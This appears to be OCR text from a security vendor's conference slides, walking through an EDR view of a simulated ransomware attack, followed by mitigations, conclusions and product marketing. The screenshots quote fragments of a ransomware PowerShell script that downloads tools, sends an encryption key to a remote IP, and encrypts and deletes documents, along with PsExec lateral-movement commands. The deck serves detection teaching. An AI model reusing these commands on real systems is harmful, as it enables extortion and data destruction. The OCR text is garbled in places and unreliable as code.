Administrative Shares Potential Latersl Movernent e » 11 FileTruncated [on open) SeRemoteDrivest \desktop-TorikkadminsSiransom.ps

\, J
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - ACTION ON OBJECTIVE 00600 00

Weaponization Exploitation Command And
Control

powershell,exe (1472)

Powershellexs crestes an externaWgtwork connection [A05020

-executionpolicy bypass .\ransom.psl

i IPvd in HTTP Request URL

FeSYSTEMS e \wwindowspowershellwl.04

Powwershell has dropped 3 suspicious executable [A0306]

ﬁ rsa.exe (8 Invoke-WebRequest https://fwww.7-zip.org/a/7zr.exe -OutFile c:iwsers\publichzxcv.exe
Invoke-WebRequest http://f18.1.286.32:8888/rsa.exe -OutFile c:\users\publichrsa.exe
tkey = [Convert]::ToBases4astring((1..32|%{[byte] (Get-Random -Max 256)%))

(+

tenc_key = $key | & c:ihwusersi\publichrsa.exe
ﬂ FHCY. eXE |53 tenc_key = %tenc_key | select-string "b"" -context &,1 | select -last 1
$enc_key = [Convert]::ToBaseeaString([System.Text.Encoding]: Unicode.GetBytes{$enc_key))

Invoke-WebRequest -Uri http://18.1.286.33/%enc_key

b en (ET1EN
A\ Diov.exe (6716) hdirs - Ec:\usersys
Get-childitem -Path $(%dirs) -r | Where-cbject { $_.Mamz -Like "=.doc” -or $_.Name -Like "=.pdf" -or §_.Mame -Like "#*.3aa"} |

: 5 o Foreach-object {
E ZXcv.exe (4548) sname - ¢ .Fullname
they | & "coiwusers\publichzxcv.exe™ a gname”.locker”™ $name -p -sdel
$path = $_.Directorydame+"%ZIxXCZxC-README . t=T"
eche "vour data is EMCRYPTED!!!

+|

+|

ﬁ Dicv.exe (4160)

+

ﬂ' Ticv.exe (5840)

+]

Integrity level High

+|

A ZXov.exe (R760)

Event Ta ExecutableDrop ScHOMESE\rsa.exe

ﬂ ZXcv.exe (9536)

+|

Username acmeaudit
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - ACTION ON OBJECTIVE 00600 00

Weaponization Exploitation Corv&ma(ndlAnd
+‘ i ™y EL R
] A rsa.exe (80 Process rsa.exe (3088
i Powershellexe executed unpopular process [ADL0E] {:ﬂ'm mand IT“'E'
A Unpopular process has started from root of %Homess [Z0404]

Path TeHOMES),

SN A rsaexe (1072) Reputation (LiveGrid &) XXX Ssuspidous (6)
Popularity (LiveGrid ) D 1 - 9 computers [approximation)

A Unpopular process has started from root of %Homes [Z0404]

Triggering executable HEV. exe
SHA-1 EEEEZ4EE32?DZIEFHE?E?EEEAEIFEE3[DEE3493EE@
Signature type

E Zioy.exe (5976)

Signer name

File description 7-Zip Reduced Standalone Consale

ﬂ Archive Utiity [7Zip) encrypting and deleting files [E0612]
Hov. exe (5976

0 Archive Utility (72ip) encrypting files [E0613] a8 C:wusershadministratoripesktophadminbomcumentl. pdf.locker C:iUsershadministratori\DesktopiadminDomcumentl.pdf -p -sdel

FeHOMESD,

A Unpopular process has started from root of %Home [Z0404] High

1LY ProcessCreated %SYSTEMS&wind owspowershell'wl.Jhpowershell.exe

Username acmetaudit

HitpRequest http:/10.1.206.33/pgagaekabgbzaguacgblacaaawblahkaogbiaccarablafuazwbxae cawqgbxa... '
A D ital Securit
igital Security
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Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - ACTION ON OBJECTIVE o0 RN

Weaponization Exploitaton ~ Comman

ﬁ micv.exe (4052)

ProcessCreated SYSTEMSe\wwindowspowershellwl.0hpowershell. exe
Reg5etValue HEKCLhsoftware\sysinternals\psexecieulaaccepted (Int:0x1)

E ZXov.exe (4708)

FileTruncated (on open) SRemoteDrive®ei10.1.206.80Nadmin5\psexesvc.exe

ﬁ ZXev.exe (6712)

FileWrite ZRemoteDrive®ei10.1.206.806adminS\psexesve. exe

& e TeplpConnect 10.1.206.80:135 [desktop-7ovikk.corp.acme.com)
A Tov.exe (6804)

TeplpProtocolldentified  outbound dcerpc//10.1.206.80:135 (desktop-7ovTkk. corp.acme.com)

E psexec.exe (5168)

psexec.exe (5168)

[ A Sent execution of PsExec [BOG03]

-gccepteula \\12.1.286.88 -h cmd /c "powershell -executionpolicy bypass C:'windowshransom.psl®

Administrative Shares Potentiz! Laters! Movement

Username acmelaudit
1 Digital Securi
igital Security
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - ACTION ON OBJECTIVE 00600 00

Weaponization Exploitation Command And
Control

= H psexesvc.exe (9060)

cmd.exe [(9696)

A PsExec named pipe created [A0904)

/c "powershell -executlonpolicy bypass C:‘\windows\ransom.psl”

—
1 »
&
Ll —| A cmd.exe {9696)
FeSYSTEMSE,
a Femote execution using PsExec [BOS]
&
— |> conhostexe (10220)
; > zuev. exe [1048) Mar 4, 2024, 12:22:04 PM Filewrite SeHOMERadmindomcoumentvictim2-23. pdf.locker
> zuev. exe [1804) Mar 4, 2024, 12:22:05 PM Filewrite SeHOMERadmindomoumentvictim2-24. pdf.locker
Powershell.exe creates an external network connection [A0502b [ mocv, exe [4424) Mar 4, 2024, 12:22:05 PM FileWrite HHOMES\admindomoumentvictim2-85.pdf.locker
> muev. exe [4252) Mar 4, 2024, 12:22:05 PM Filewrite SeHOMESSadmindomoumentvictim2-26.pdf.locker
A Mamare Powershell/Filec oder Bl D> zwcv. exe (10980) Mar 4, 2024, 12:22:06 PM FileWrite S%HOMES¢\admindomcumentvictim2-87.pdf locker
[> ztov. exe [10328) Mar 4, 2024, 12:22:06 PM Filewrite SeHOMESSadmindomoumentvictim2-228.pdf.locker
Powershell has dropped a suspicious executable [40306
> muev. exe [3956) Mar 4, 2024, 12:22:06 PM Filewrite SeHOMESS\admindomoumentvictim2-29. pdf. locker
' o > muev. exe [3872) Mar 4, 2024, 12:22:07 PM Filewrite SeHOMESS\admindomoumentvictim2-9,pdf.locker
A rsa.exe (7304)
[ mtov. exe (0472) Mar 4, 2024, 12:22:07 PM Filewrite SeHOMESSadmindomoumentvictim2-80. pdf.locker

ﬂ zxcv.exe (10288)

Username acme'audit
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - ACTION ON OBJECTIVE 00600 00

e Inteatinm “ommand And
Control

Potential Ransomware Detected

& Incident graph 1 Timeline A Detections L3 Computers [*] Executables [> Processes Incident | Timeline = Details Processtree  Related objects

"'1 D ) k') D Mar 8, 2024, 2:32:35 PM > mov.exe PN Process started

:m;;x_e[ 40 s L ! i v exe (7524 desktop-Goprijj.corp.acme.com A acmelaudit
Doovexe (7092) mowexe [ 5e0d)

Mar 8, 2024, 2:532:35 PM [> raath= A (ien W Process started

& acmehaudit
oo exe (5128) 2 9 4 ! Doovexe (9208
° Mar 8, 2024, 2:52:54 PM
& acmehaudit
oo exe [T912) noow exe [ S5

>

oo exe (6312) _ FESKTOE 6 p ﬁl.

A acmelaudit

@ Mar 8, 2024, 2:52:54 PM

oo exe [ 304)

° Mar 8, 2024, 2:52:54 PM
° Mar 8, 2024, 2:52:53 PM

M ow exe [ 5108)

Mar 8, 2024, 2:52:53 PM > IOV EX
xowexe (8508 desktop-Goprijj.corp.acme.com 2 acme\audit
oovexe [10208)
mecw exe (TT00) Mar 8, 2024, 2:32:53 PM A Rule - Archive Utility (TZip) r—.-nc_q_{pting and deleting files [ED612]

o exe (4012)
; ®
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A acmelaudit

A acmelaudit

moowexe [ 1044)
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MITIGATIONS AND PREVENTIONS

Initial Access And Installation And : .
L . . Action On Objective
Exploitation Privilege Escalation
/ PowerShell ReversQ / \ / \
RMM Tool Fake Support session via non-privileged Misconfigured Scheduled Payload Lateral movement
Access "victim1" user Task exploited via SMB on host B

Deploy of payload File System Enumeration High privilege Reverse Ransom Run on
installation script: for privilege escalation shell used to deploy both impacted hosts
ITSupportDiagnostic.ps1 ransomware to host A
using "audit" user
_ RMM Tools Baseline and » Behavioral Alerts on , Behavioral Alerts on Suspicious Scripts
Telemetry Suspicious Scripts and Reputational Scores

_ Detections on Behavior: file writes
and encryption cmdlines

v

Scripting And Process Telemetry

v

Scripting And Process Telemetry

v

v
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CONCLUSIONS

* Living Off The Land Attacks
* |tis important to have good telemetry on what's happening on the machine
* EDRs are a de-facto standard to gather this type of data

* Behavioral Detections are important to detect unknown malware or Living Off The Land based
attacks

* Having a good baseline on what's allowed in the infrastructure is relevant to have
a good security posture
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ESET PROTECT Ecosystem

@} Integrations
@ & Plugins

-

‘Clusit

»{  Associazione Italiana
per la Sicurezza Informatica

%?r:} Detection H{—F+ Advanced
& Response —@ Threat Defense

Eset LiveGuard
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Unified Cybersecurity XDR

PROTECT PLATFORM

Powered by ESET LiveSense @
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Services

Professional Services Security Service
Threat
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Eset Premium Support Standard Security Support {{b! Intelligence

Eset Deployment & Upgrade ESET Managed Detection & Response

APT Reports

Standard Support ESET Detection & Response Ultimate
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ESET SECURITY SERVICES 24/7

MANAGED DETECTION & RESPONSE FOR A COMPLETE SECURITY

You must protect your
organization even
on Christmas Day

Monitoring during
business hours
IS not enough

You might figure out
what happened when
it's too late

(o)
~

SOC based in
the local Office
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Customer

SECURITY SUMmmMIT



VIENI A TROVARCI AL NOSTRO STAND!

CONTATTL:
MARKETINGITALY@ESET.COM
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